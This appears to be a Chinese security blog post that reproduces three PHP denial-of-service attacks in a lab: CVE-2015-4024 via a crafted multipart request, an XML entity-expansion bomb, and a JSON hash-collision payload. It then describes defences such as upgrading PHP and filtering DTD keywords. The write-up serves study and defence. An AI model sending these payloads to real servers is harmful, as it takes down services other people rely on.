前言
近期收到某友方SRC发来的邮件,反馈站点中存在可被Dos的风险, 复测后发现确实存在此类风险。
随后尝试对其进行修复,过程满有意思的,所以汇总了一下在PHP开发中容易引起Dos的几个点。
Ps:所有内容仅供学习研究及分析,请勿用于进行互联网恶意攻击行为,因恶意攻击造成的损失均与本文作者无关。
会引起Dos的几种案例
-
CVE-2015-4024
- 早起危害较大的 Dos 漏洞,挺有代表性的。其原理是 php 解析 body part 的 header 时进行字符串拼接,而拼接过程重复拷贝字符导致DOS。对应官方bug:
https://bugs.php.net/bug.php?id=69364
。
- 早起危害较大的 Dos 漏洞,挺有代表性的。其原理是 php 解析 body part 的 header 时进行字符串拼接,而拼接过程重复拷贝字符导致DOS。对应官方bug:
-
XML Dos
- 也叫
XML Bomb
,其原理是通过无限制的递归,或传递的实体内容过大造成内存占满,从而实现Dos。
- 也叫
-
Json Dos
-
它主要利用了
PHP Hash Collision
,早在2013年被发现并收到重视。但是在开发中,滥用相关函数便会造成此类Dos的出现。 -
在较老的版本中通过提交
POST
参数,也能实现PHP Hash Collision
。
-
攻击实例
CVE-2015-4024
该漏洞是比较老的一个的,已被修复很久网上也有很多文章及介绍,当然官方 bugs
里写个人认为是描述最全的,给 Shusheng Liu
大佬点赞。
具体产生原因则需要追PHP的引擎代码了,在这我就不赘述了应用说明概括
由于php没有妥善处理
multipart/form-data
请求的body part
请求头,对于换行内容多次重新申请内存,导致耗尽CPU资源,拒绝服务计算机。-- PHITHON
- 复现
首先通过 docker
运行一个未升级版的 php-fpm 容器
。
nginx
应用为物理机,php-fpm
则启动容器方便切换不同版本。
PHP文件(post_exp.php
)简单构造一个from表单, 接收POST过来的参数并输出:
<form action="post_exp.php" method="post" enctype="multipart/form-data">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit">
</form>
<?php
if (!empty($_POST)) {
print_r($_POST);
}else{
echo "Test CVE-2015-4024...";
}
现在我们来看看,正常提交参数的响应时间是多少:
仅 0.03/s
, 通过 BurpSuite
改成恶意请求后提交查看本次服务器响应时长。
POST /post_exp.php HTTP/1.1
Host: test.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryS11U7XrePLl4rN7N
Connection: close
Content-Length: 1604426
------WebKitFormBoundaryS11U7XrePLl4rN7N
Content-Disposition: form-data; name="file"; filename="Dos.jpga
a
a
a
a
..........a\n循环复制粘贴至POST最大接收内容长度"
Content-Type: application/octet-stream
datadata
------WebKitFormBoundaryS11U7XrePLl4rN7N
服务器响应时间为:11.16/s
, 说明本次复现成功。
XML Dos
该风险常发生在对外提供接口,并接收恶意 XML
(对接过 Dot Net
的同学都知道WSDL
吧)实体,从而让应用进行无限制的递归,导致耗尽CPU资源。
PHP文件(xml_exp.php
)用于接收POST过来的XML实体,处理后输出:
<?php
$xmlStr = file_get_contents("php://input");
// 在PHP中,常用 simplexml 函数组来处理
$xmlObj = simplexml_load_string($xmlStr);
var_dump($xmlObj);
前面已知一个正常的请求相应时长一般在 0.03/s
之内,超出时间则表示攻击成功。现在发送一个可递归的 POST 请求并发送。
本次攻击并没有生效,怀疑是 SimpleXML
扩展已被修复并限制了递归深度,超出则终止应用。
将要提交的 xml 内容修改为只保留一行,并引用 &a
:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test "test">
<!ENTITY a "&test;&test;&test;&test;&test;&test;&test;&test;&test;&test;">
]>
<lolz>&a;</lolz>
就像图中看到的,虽然单个请求看起来效果不大,如果是多个呢?(文章中用的压测工具是 Jmeter )
当然,我的小水管电脑肯定和服务器级别的没法比,这里仅供学习研究了。
然后我在官方 bugs
中又看到一个有意思场景,可直接占满服务器内存(当前 php-fpm版本:5.5.30
)。
<?php
# 内存大小无限制
ini_set('memory_limit', -1);
session_start();
# 传递的 xml 内容含 2147483620 字符
$data = '<a>'.str_repeat('b', 0x7ffffff8-20).'</a>';
$str = <<<XML
$data
XML;
$xml = new SimpleXMLElement($str);
$str1 = $xml->asXML();
抱歉此处没有配图,电脑的内存被php-fpm进程占满,多达 6G 内容使用量。直至超过 50 秒 进程被kill
Json Dos
这类攻击早在 2011 年就被发现并利用, 根据搜索引擎找到大神 Laruence
的个人博客,其在2011-12-29日至30日的文章中有详细介绍。攻击的原理很简单, 就是将语言底层保存POST数据的Hash表因为 冲突(碰撞)
而退化成链表.
详见: http://www.laruence.com/2011/12/30/2435.html
通过情况下,只要给提交 POST
参数一个接收最大个数即可缓解此类情况。但随着业务越来越复杂,数据交互时类型的多样性而变的脆弱。
假设该场景,用户在页面窗口填写账号密码并点击登录,此时会通过 AJAX 发送拼接好的 json 字符串到接口。
PHP文件(json_exp.php
)用于接收POST过来的json字符串,并处理成数组:
<?php
$jsonStr = file_get_contents("php://input");
$arrays = json_decode($jsonStr, true);
print_r($arrays);
一次正常的请求应用响应时间是在毫秒以内,现在我们构造一段恶意的 json, 并发送至接口。
{"0":0,"65536":0,"131072":0,"196608":0,"262144":0,"327680":0,"393216":0,"458752":0,......,"4294836224":0,"4294901760":0}
看到了吗,一次请求的响应时长是 20多秒
,至于如何避免该问题请看防御章节(高效一招防)。
顺便实验了一下目前
5.6.×
以下所有版本均有这个问题,直到PHP7
才被减缓优化至 4秒(赞鸟哥)。
如何防御
知攻不知防,几年都瞎忙
对于 CVE-2015-4024
的利用只需要升至最新的PHP版本即可。
- XML Dos
我们都知道在PHP中防御外部 DTD 攻击,只需要在解析 XML 内容之前,加入libxml_disable_entity_loader(true);
函数即可。
但这种 XML Bomb
使用的是内部 DTD ,遗憾的是我翻过官方手册也 google 了一圈,并没有发现PHP中有禁用内部DTD的函数及方法。
所以这里只能使用正则匹配去识别攻击了, 匹配DTD中的关键词:<!DOCTYPE 和 <!ENTITY,或者 SYSTEM 和PUBLIC。
而解析大的XML文件可能会花费大量时间和内存。如果你的体系结构允许,可以考虑将大的XML文件解析放在异步进行。当XML文件上传时,将它们移到队列中,并有一个单独的进程将它们从队列中取出并处理解析任务。
这种方法将提高系统的可扩展性和稳定性,因为繁重的分析工作不会使Web服务器脱机。
- Json Dos
该攻击的防御蛮简单的,不要使用 json_decode
函数中的 第二个参数
。也是就常用来将 json 对象转数组的参数。
我的解决办法是用PHP的强制类型转换
,替换 json_decode
的功能**(不知道是我搜索引擎使用方法不对还是咋的,居然没有看到用这种方法去解决的栗子,也是醉了)**。
耗时 0.112
秒!!!
随后对 $arrays
变量怎么使用就不说了,基本操作。但有一点很重要:不要去遍历它,不要去遍历它,不要去遍历它
参考
- https://www.leavesongs.com/PHP/PHP-Multipart-form-data-remote-DOS-Vulnerability.html
- http://nikic.github.io/2011/12/28/Supercolliding-a-PHP-array.html
- https://yq.aliyun.com/articles/92194
- https://msdn.microsoft.com/zh-cn/magazine/ee335713.aspx